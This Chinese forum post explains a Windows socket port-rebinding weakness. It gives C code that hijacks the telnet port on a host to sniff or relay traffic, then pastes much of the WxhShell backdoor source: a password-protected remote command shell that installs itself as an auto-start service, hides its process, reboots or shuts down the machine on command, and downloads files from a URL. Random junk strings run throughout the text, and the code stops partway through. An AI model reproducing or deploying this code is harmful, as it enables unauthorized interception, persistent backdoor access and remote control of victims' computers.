-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fZ6-ap,u s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {F'~1qf yGs:3KI saddr.sin_family = AF_INET; jE#&u DfI YCBcyE}p saddr.sin_addr.s_addr = htonl(INADDR_ANY); GV"X) tGo \'>8 (i~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Rf4}4ixkj j@guB:0 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !RPPwvNk4 Kqn{q4L 这意味着什么?意味着可以进行如下的攻击: -qDM(zR z0F'zN3J 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 dBeZx1Dy aGx[?}= 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jTh^#Q g.:b\JE ` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C]f` |'SgGg=E 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 b]oPx8*' `at>X&Ce, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,UA-Pq3} @&F\ M} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kKHGcm^r 'VQ
mK# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $j"TPkW{M qJZ:\u8oO #include bkSI1m3 #include LvcGh #include >>I~v)a>w #include ln*_mM/Q% DWORD WINAPI ClientThread(LPVOID lpParam); '7ps_pz int main() M!#[(: { lDf:~ WORD wVersionRequested; 7.!`c-8
u DWORD ret; rv26vnJy" WSADATA wsaData; nB.u5 BOOL val; [CAV"u)0 SOCKADDR_IN saddr; sI% =G3o= SOCKADDR_IN scaddr; ?>}&,:U} int err; NNTUl$ SOCKET s; 5n#@,V.O/ SOCKET sc; \1H~u,a int caddsize; IS[&V&.n HANDLE mt; B.ar!*X DWORD tid; "l7))>lL wVersionRequested = MAKEWORD( 2, 2 ); n u!tk$Q err = WSAStartup( wVersionRequested, &wsaData ); G@+AB*Eu if ( err != 0 ) { Lk8NjK6 printf("error!WSAStartup failed!\n"); 8EC$p} S return -1; O@)D%*;v } &"/IV$H saddr.sin_family = AF_INET; 0'nY Ed ,O>( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .G/2CVMj ,nnVHBN saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =L F9im saddr.sin_port = htons(23); dl; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]4
q6N { ]*\m@lWu printf("error!socket failed!\n"); p J#<e return -1; 3A)Ec/;~ } ]R7zvcu& val = TRUE; AriW&E //SO_REUSEADDR选项就是可以实现端口重绑定的 >SSRwYIN if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) OO /Pc { n1;y"`gHk printf("error!setsockopt failed!\n"); &LM ^,xx} return -1; W9A
[Z } v9S1<|jN //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fo$Ac //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bPhb d //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !3JYG ?T\_"G if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SGA!%=Lp { ^Ss4< ret=GetLastError(); ry[NR$L/m printf("error!bind failed!\n"); P+s-{vv{0 return -1; qR>"r"Fq } h}@)oSX
} listen(s,2); Ix1[ $9 while(1) HLp9_Y{X. { Kulh:d:w caddsize = sizeof(scaddr); HyX:4f|]' //接受连接请求 q7-.-k<dQ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -)dS`hM if(sc!=INVALID_SOCKET) Ua](o H { B(l8&
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yw{;Qm2\7 if(mt==NULL) C?h`i ^ >2 { UW@BAj@^@ printf("Thread Creat Failed!\n"); qTd6UKg break; 7]&ouT } b :J$ } HaiaDY) CloseHandle(mt); }ki}J >j|f } TexSUtx@$ closesocket(s); g#b uy WSACleanup(); VfON{ 1g return 0; cJQ& #u } ;xMieqz DWORD WINAPI ClientThread(LPVOID lpParam) A=a~ [vre { -|\SNbPTV SOCKET ss = (SOCKET)lpParam; *M^t@ h l SOCKET sc; {24Y1ohK unsigned char buf[4096]; LjOHlT' SOCKADDR_IN saddr; w\f>.N long num; kV$$GLD\ DWORD val; Ohe*m[ DWORD ret; WG\gf\= I //如果是隐藏端口应用的话,可以在此处加一些判断 V {H/>>k7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 [WxRwE saddr.sin_family = AF_INET; !/|^
)d^U saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hD I}V1) saddr.sin_port = htons(23); sM0o,l(5 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ag#o&Y { eo~>|0A*V printf("error!socket failed!\n"); ,*}5xpX return -1; ))z1T 8 } >QJfTkD$ val = 100; u>U4w68 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |Vq&IfP { LNR~F_64Q ret = GetLastError(); Er]lObfQo return -1; ; Da[jFP } .xIu if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u^{6U(% { C1YG=! ret = GetLastError(); acdWU"< return -1; >*"6zR2 o } YEB@ p. if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i8Y$cac! { XA%a7Xtni printf("error!socket connect failed!\n"); Q'mLwD3> closesocket(sc); _=\=oC closesocket(ss); `AO<r return -1; >.]'N:5 } M zbs#v0 while(1) J/o$\8tiMw { %}*0l8y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .}V&*-ep //如果是嗅探内容的话,可以再此处进行内容分析和记录 S
;; Z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d'yA"b] num = recv(ss,buf,4096,0); qXQ/M] if(num>0) e~wJO~ send(sc,buf,num,0); +-B`Fya else if(num==0) %%w/;o!c break; jW G=k#WN num = recv(sc,buf,4096,0); /W,K% s] if(num>0) i(k]}Di: send(ss,buf,num,0); 8sV_@<l<X else if(num==0) aeBA`ry"B break;
/
hl:p } $j\UD8Hj'- closesocket(ss); ~GWn > closesocket(sc); h6Vm;{~ return 0 ; jr9/ } y+PiH t#0/_tD dK45&JHoW^ ========================================================== HcrI3v|6 8] BOq: 下边附上一个代码,,WXhSHELL 1;4]
HNI #''q :^EQ ========================================================== rU{E} j9=QOq #include "stdafx.h" %qM3IVPK)q d/57;6I_ #include <stdio.h> c<8RRYs #include <string.h>
*vss #include <windows.h> ':v@Pr| #include <winsock2.h> {[&_)AW6m% #include <winsvc.h> c
QjzI# #include <urlmon.h> #jja#PF]7 .Fy f4^0 #pragma comment (lib, "Ws2_32.lib") :!wdqn #pragma comment (lib, "urlmon.lib") _TRO2p0 =DhzV
D #define MAX_USER 100 // 最大客户端连接数 !*?Ss #define BUF_SOCK 200 // sock buffer T|h/n\fx)a #define KEY_BUFF 255 // 输入 buffer }wJDHgt]-p }- Jw"|^W #define REBOOT 0 // 重启 O!b > #define SHUTDOWN 1 // 关机 95,{40;X7 #l(cBM9sz #define DEF_PORT 5000 // 监听端口 %EZG2J jO) }<EA)se" #define REG_LEN 16 // 注册表键长度 2[\I{<2/9 #define SVC_LEN 80 // NT服务名长度 M.Fu>Xi Fn8d;%C // 从dll定义API #K3A{
jb, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FuZ7xM, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~$0Qvyb> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V 4RtH typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HS|X//] s^nwF> // wxhshell配置信息 KfXE=v{t struct WSCFG { \(lt [= int ws_port; // 监听端口 HR85!S` char ws_passstr[REG_LEN]; // 口令 3
;F=EMz{ int ws_autoins; // 安装标记, 1=yes 0=no EHT5Gf char ws_regname[REG_LEN]; // 注册表键名 (ia(y(=C char ws_svcname[REG_LEN]; // 服务名 eZ]4,,m char ws_svcdisp[SVC_LEN]; // 服务显示名 MorR&K char ws_svcdesc[SVC_LEN]; // 服务描述信息 9w
-t9X>X char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V`KXfY int ws_downexe; // 下载执行标记, 1=yes 0=no &)Fp char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Oj#nF@U char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z2Bl$ \ ;as4EqiK }; m8Q6ESg<*u djeax // default Wxhshell configuration G)b6Rit struct WSCFG wscfg={DEF_PORT, y ?FKou' "xuhuanlingzhe", %f.(^<Gu 1, DRLX0Ml]\ "Wxhshell", $=f,z>j "Wxhshell", 5$Yt@8; "WxhShell Service", Aw)='&;^z "Wrsky Windows CmdShell Service", R$@|t? "Please Input Your Password: ", X[:&p|g] 1, $cri"G " http://www.wrsky.com/wxhshell.exe", tVUoUl "Wxhshell.exe" `z$<1QT }; )1a3W7 Oo<^~d2= // 消息定义模块 r"OVu~ND char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *yqEl
O char *msg_ws_prompt="\n\r? for help\n\r#>"; [X.sCl| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; DfFsCTu char *msg_ws_ext="\n\rExit."; &eQF[8 , char *msg_ws_end="\n\rQuit."; B
Mh949; char *msg_ws_boot="\n\rReboot..."; uhUC m char *msg_ws_poff="\n\rShutdown..."; /JL2dBy#z char *msg_ws_down="\n\rSave to "; d18%zY> F/[vg char *msg_ws_err="\n\rErr!"; k,S'i#4q4 char *msg_ws_ok="\n\rOK!"; c+/SvRx^> NZ/>nNs char ExeFile[MAX_PATH]; RsS?ibozl int nUser = 0; SrfDl* HANDLE handles[MAX_USER]; D+/27# int OsIsNt; tY<D\T rrei6$H& SERVICE_STATUS serviceStatus; NAjK0]SRY SERVICE_STATUS_HANDLE hServiceStatusHandle; T~UKWAKX} A-vK0l+ // 函数声明 \?-`?QPux int Install(void); =$UDa`}D int Uninstall(void); Kw}-<y int DownloadFile(char *sURL, SOCKET wsh); 4,kT4_&, int Boot(int flag); Z |uII#lq void HideProc(void); 'G3B02* int GetOsVer(void); :tY;K2wDM int Wxhshell(SOCKET wsl); LuS]D% void TalkWithClient(void *cs); IiV:bHUE}0 int CmdShell(SOCKET sock); p%_#"dkC7 int StartFromService(void); F{\MIuoy int StartWxhshell(LPSTR lpCmdLine); -.:[a3c? ;"=a-$vm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dOArXp`s VOID WINAPI NTServiceHandler( DWORD fdwControl ); +1Oi-$
2- [G^ir // 数据结构和表定义 $VYMAk&\ SERVICE_TABLE_ENTRY DispatchTable[] = /GNLZm^ { NrVrR80Y {wscfg.ws_svcname, NTServiceMain}, WC,&p {NULL, NULL} X62h7?'Pd }; 'u$e2^ s4bLL // 自我安装 [)|P-x-< int Install(void) |a#4 { s`ly#+!. char svExeFile[MAX_PATH]; |:n4t6 HKEY key; FA?xp1E strcpy(svExeFile,ExeFile); w+bQpIPM 8
M3Q8& // 如果是win9x系统,修改注册表设为自启动 3Xaw if(!OsIsNt) { _B)LRD+Hj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I~EQuQ >= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KFBo1^9N RegCloseKey(key); (Vglcj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =jjUwcl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nmp(%;<exN RegCloseKey(key); Esw#D90q return 0; /j!?qID } KK`P<^8J } Er?Wg 09 } Bo8+uRF| else { L,0HX Q@hx+aM // 如果是NT以上系统,安装为系统服务 ^HumyDD6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P&C,E E$ if (schSCManager!=0) Y[9x\6
_E { >I AwNr SC_HANDLE schService = CreateService l2KR=&SX/ ( ?"\`u; schSCManager, PhF3' "> wscfg.ws_svcname, ?J,hv'L] wscfg.ws_svcdisp, .?9+1.` SERVICE_ALL_ACCESS, ?c0OrvM SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @yPa9Ug(V SERVICE_AUTO_START, K~OfC SERVICE_ERROR_NORMAL, g4_DEBh svExeFile, 0PD]#.+ NULL, I&qT3/SVI NULL, 8SK}#44Xz NULL, 0\O*\w? NULL, lq=|= NULL {.OBcx ); 9*2A}dH if (schService!=0) !EuU
@+ { "TA r\;[ CloseServiceHandle(schService); f
sAgXv
CloseServiceHandle(schSCManager); #\*ODMk$4| strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s2L|J[Y"s strcat(svExeFile,wscfg.ws_svcname); C,+6g/{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4(Gs$QkSo| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vULlAQG RegCloseKey(key); o&)O&bNJ return 0; Z=n#XJO15 } JyWBLi;Z } O{rgx~lLJt CloseServiceHandle(schSCManager); O79;tA<k } *`[dC,+`. } {C Qo}@.7 ZvEcExA- return 1; >K**SjVG } 0{g @j{Lbz gsd9QW // 自我卸载 Ps5UX6\ .m int Uninstall(void) `W< 7. { I
<`9ANe HKEY key; p"f=[awp -q\5)nY if(!OsIsNt) { q3Re
F_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p*)RP2 RegDeleteValue(key,wscfg.ws_regname); uhvmh RegCloseKey(key); N r5
aU6] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eYBo* RegDeleteValue(key,wscfg.ws_regname); rXXIpQRi$S RegCloseKey(key); [,)yc/{* return 0; ^l;nBD#nJ } Z<6xQTx } Vd^_4uqnV } mz@`*^7? else { cMOvM0f JCZ"#8M3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &x19]?D"+ if (schSCManager!=0) '{WYho! { FU/yJy SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ",	 if (schService!=0) Va,M9)F { "H\'4'hg if(DeleteService(schService)!=0) { Bi2be$nV CloseServiceHandle(schService); `'9Kj9} CloseServiceHandle(schSCManager); sL|lfc'bB return 0; H S/1z } Tyt:Abym= CloseServiceHandle(schService); g9(zJ } 4Z>hP]7
CloseServiceHandle(schSCManager); q/-8sO}q } |j53'>N[ } -Qx:-,.a 50%
|9D0?Y return 1; !U.Xb6 } =0 W`tx ?n)r1m // 从指定url下载文件 xxOo8+kA int DownloadFile(char *sURL, SOCKET wsh) `"QUA G { g{wIdV HRESULT hr; (v(!l=3 char seps[]= "/"; gv$6\1 char *token; V_jVVy30Ji char *file; aCzdYv\} & char myURL[MAX_PATH]; &RP!9{F< char myFILE[MAX_PATH]; <y1V2Np LcCb[r strcpy(myURL,sURL); +cv7] token=strtok(myURL,seps); ;Vc@]6Ck while(token!=NULL) 6dQa|ACX_ { Icf 4OAx file=token; #+Z3!VS token=strtok(NULL,seps); (x,w/1 } uV.3g 1m
?PORPv# GetCurrentDirectory(MAX_PATH,myFILE); %:^,7
.H@ strcat(myFILE, "\\"); Ai\"w 0 strcat(myFILE, file); 9frP`4<) send(wsh,myFILE,strlen(myFILE),0); v<iMlOEt send(wsh,"...",3,0); >ijFQ667>j hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %||}WT-wv if(hr==S_OK) Z0T{1YEJ return 0; Et~b^8$> else mN3}wJ}J return 1; h+F@apUS M$g%kqa } (;YO]U4 jq(3y|6, // 系统电源模块 CBdSgHA3> int Boot(int flag) 7 y}b (q= { !
{lcF% HANDLE hToken; 2%\Nq:;T TOKEN_PRIVILEGES tkp; Jhu<^pjs _l]`Og@Y if(OsIsNt) { <K!5N&vh OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F4X/ )$Dk LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )BNm~sP tkp.PrivilegeCount = 1; Q(h,P+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F^bC!;~x AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {V%ZOdg9 if(flag==REBOOT) { Ib.`2@o& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'JY*K:- return 0; UI|L;5 } w]
LN(o: else { Frn#?n)S9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9PhdoREb return 0; @<Au|l` } Ls#pe } i.2O~30ST else { ~LGkc
t if(flag==REBOOT) { @OAX#iQl if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )%%RI_JT return 0; cAC2Xq } eU_|.2 else { fEc}c.!5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a%f{mP$m return 0; Nk=F.fp|/ } ~J!a?] } #EtS9D'd+ Mp;t?C4 return 1; m>2b %GTh } lGqwB,K$z4 XPXC7_fV // win9x进程隐藏模块 !3Fj`Oh void HideProc(void) W+PAlsOC { */xI#G,O+
e3YZ-w^W~h HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uHBX}WH
if ( hKernel != NULL ) t+Mr1e { XP5q4BM pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =:`1!W0I ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T_ Q/KhLU FreeLibrary(hKernel); 3 2Q/4 } =N01!?{ ~!~VC)a* return; A$ %5l } G;615p1 8
W8ahG} // 获取操作系统版本 6HpSZa int GetOsVer(void) I^/Ugu { Gdnk1_D> OSVERSIONINFO winfo; ;5#P? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hZI9*=`," GetVersionEx(&winfo); =wK3\rG if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R0+v5E return 1; AC ,$(E else 4?M=?K0 return 0; O;
EI& } 94I8~Jj4 @]tFRV // 客户端句柄模块 !.iu_xJ int Wxhshell(SOCKET wsl) (xK=/()}q { =%Gecj SOCKET wsh; n|NI]Qi* struct sockaddr_in client; wRf_IBhCd DWORD myID; X obiF Tz58@VY V while(nUser<MAX_USER) `ea;qWy { u(02{V int nSize=sizeof(client); lT$Vv=M wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rS/Q if(wsh==INVALID_SOCKET) return 1; }aXc,;Ps hd9fD[5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xuO5|{h if(handles[nUser]==0) N-jFA8n closesocket(wsh); TJ7on.; else lE08UEk1i nUser++; }txHuq1Q. } 1Y@6oT WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~CldqXeI 2i',
e return 0; bj(U?$ } h3aHCr E ru3nnF_I // 关闭 socket s['F?GWg void CloseIt(SOCKET wsh) JO5~Vj_" { ]eb9Fq:N7 closesocket(wsh); Lcplc"C nUser--; 9C[3w[G~C ExitThread(0); Zp@p9][C } QpS0iUG Kr=DoQ."d8 // 客户端请求句柄 hnL"f[p@gC void TalkWithClient(void *cs) s!Y>\3rMW { e{O mW 82Nh;5Tr SOCKET wsh=(SOCKET)cs; QV+(' char pwd[SVC_LEN]; ) gvXeJ char cmd[KEY_BUFF]; rj$u_y3S* char chr[1]; =r+u!~%@'' int i,j; g63:WX-\ |^Try2@ while (nUser < MAX_USER) { C5i]n? )S 9+@_ZI- if(wscfg.ws_passstr) { u%5B_<90V if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T#J]%IDd //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "KOLRJ@ //ZeroMemory(pwd,KEY_BUFF); R[wy{4<y i=0; Sl^HMO while(i<SVC_LEN) { tNbCO+rZ
!#3#}R.$Fl // 设置超时 s
ZkQJ-> fd_set FdRead; Cv{rd##Y8 struct timeval TimeOut; g Gg8O? Z FD_ZERO(&FdRead); ma~WJ0LM\ FD_SET(wsh,&FdRead); y_qFXd TimeOut.tv_sec=8; U?>P6p TimeOut.tv_usec=0; !-x^b.${B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #PoUCRRC if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `*9W{|~Gwx N-3w)23*: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h_?D%b~5 pwd =chr[0]; h\C if(chr[0]==0xd || chr[0]==0xa) { 9g"a`a?c pwd=0; -DX|[70 break; Y!i4P#4+q } tAP~ i++; QtkyKR } |g> K$m^ [@#P3g\:>W // 如果是非法用户,关闭 socket I6YN&9Y if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ],>Z'W } $tj[* wi:]o o# send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
NJs )2 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \M="R-&b ff-9NvW4v while(1) {
Rla1,{1 0Vh|UJ'&7 ZeroMemory(cmd,KEY_BUFF); +?*,J=/ h:"<x$F // 自动支持客户端 telnet标准 -}9ZZ#K j=0; LEc%BQx while(j<KEY_BUFF) { 1
W2AE? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nk86Y2h cmd[j]=chr[0]; z^{VqC*o+ if(chr[0]==0xa || chr[0]==0xd) { xlqRW" cmd[j]=0; u` `FD break; "^zxq5u } Z)|*mJ j++; z]=A3!H/Y } PS`v3|d}}} (Pin9^`ALc // 下载文件 "%<Oadz ap if(strstr(cmd,"http://")) { 6~&4>2b0f send(wsh,msg_ws_down,strlen(msg_ws_down),0); `WC~cb\ if(DownloadFile(cmd,wsh)) b0tr)>d send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;-n+=@]7 else mxq'A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Q~ng2Wv% } puL1A?Y8UM else { -"\z|OQ bf'@sh%W switch(cmd[0]) { /AjGj*O Q6RBZucv // 帮助 kE UfQLbn case '?': { Ca*^U- send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #J, `a. break; JdfjOlEb } 9W5vp:G // 安装 E{_p&FF case 'i': { bxc#bl3 if(Install()) 7zgU>$i send(wsh,msg_ws_err,strlen(msg_ws_err),0); .^l;3*X@ else or]8;eQ? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?%iAkV break; kJlRdt2 } U" aFi // 卸载 F4e<=R case 'r': { d;
oaG (e if(Uninstall()) H^B/
'#mO send(wsh,msg_ws_err,strlen(msg_ws_err),0); hoO8s#0ED else }PK8[N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i0L)hkV break; ;I:jd") } v /G, // 显示 wxhshell 所在路径 9H" u\t|? case 'p': { x
a7x
2]~- char svExeFile[MAX_PATH]; 7 H.2]X strcpy(svExeFile,"\n\r"); 0{@E=}}h strcat(svExeFile,ExeFile); Hp8)-eT send(wsh,svExeFile,strlen(svExeFile),0); SE;Jl[PgcL break; Z[FSy-;" } 3O:Z;YP:< // 重启 UKZsq5Q case 'b': { )<UNiC send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c9= ;:E if(Boot(REBOOT)) p3\F1]( Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); e#0R9+"Ba else { /$%apci8 closesocket(wsh); ]}w~fjq ExitThread(0); {Tm31f(oD } ](aXZ<, break; Z'/:
} ]Yp;8#:1 // 关机 `CUTb*{` case 'd': { }RO Cj,| send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :&/'rMi<T if(Boot(SHUTDOWN)) 3*/y<Z'H send(wsh,msg_ws_err,strlen(msg_ws_err),0); (m|p|rL else { "/(J*)%{ closesocket(wsh); |/Ggsfmby ExitThread(0); (VI4kRj } * A@~!@XE4 break;
1Vp['& } ';^VdR]fk // 获取shell dArg'Dc4 case 's': { bfVKf} CmdShell(wsh); X) owj7U; closesocket(wsh); ) 'j7Ra ExitThread(0); l7Zqk GG] break; cD YKvrPY } BB.^-0up // 退出 cE$<6&0 case 'x': { ^{DXin 1O` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sPyq.oG CloseIt(wsh); _Q t break; VWj]X7v } &j<B22t! // 离开 mcP]k8?C case 'q': { -S"YEH9 send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,_!pUal closesocket(wsh); ;*BG{rkr WSACleanup(); Q=)$ exit(1); fk<0~tE break; 9G[!"eZ} } U6t>UE6k } {dH87 nt }
u<!8dQ8 J2f}{! b+I // 提示信息 9f\Lon4lX if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _U?
} |e!%6Qq3 } bg'Qq|<U bE74Ui return; az*c0Z<pl } 08n2TL;EsX ~Y7>P$G) // shell模块句柄 ^":UkPFCx: int CmdShell(SOCKET sock) D|9xD { )[C]1N=tK STARTUPINFO si; FO<PMK ZeroMemory(&si,sizeof(si)); H9?(5 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J/mLmSx si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b}HLuX PROCESS_INFORMATION ProcessInfo; )\s{\u
\ char cmdline[]="cmd"; C< 3`]l CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g`i?]6c}jt return 0; ;.Zgt8/. } "oz
: & #+ T`mG+"O // 自身启动模式 +DmfqKKbd int StartFromService(void) 6!sC { Y``50{7 typedef struct -GJ~xcf0 { 1YV ;pEw3w DWORD ExitStatus; 0/5
a3-3{ DWORD PebBaseAddress; ++w7jVi9 DWORD AffinityMask;
?12[8 DWORD BasePriority; ^hr^f;N ULONG UniqueProcessId; XD%@Y~>+ ULONG InheritedFromUniqueProcessId; mM0VUSy } PROCESS_BASIC_INFORMATION; S~()A*5 wXZ"}uT<} PROCNTQSIP NtQueryInformationProcess; G8z.JX-7g "m,)3zND3 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R&KFF'% static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
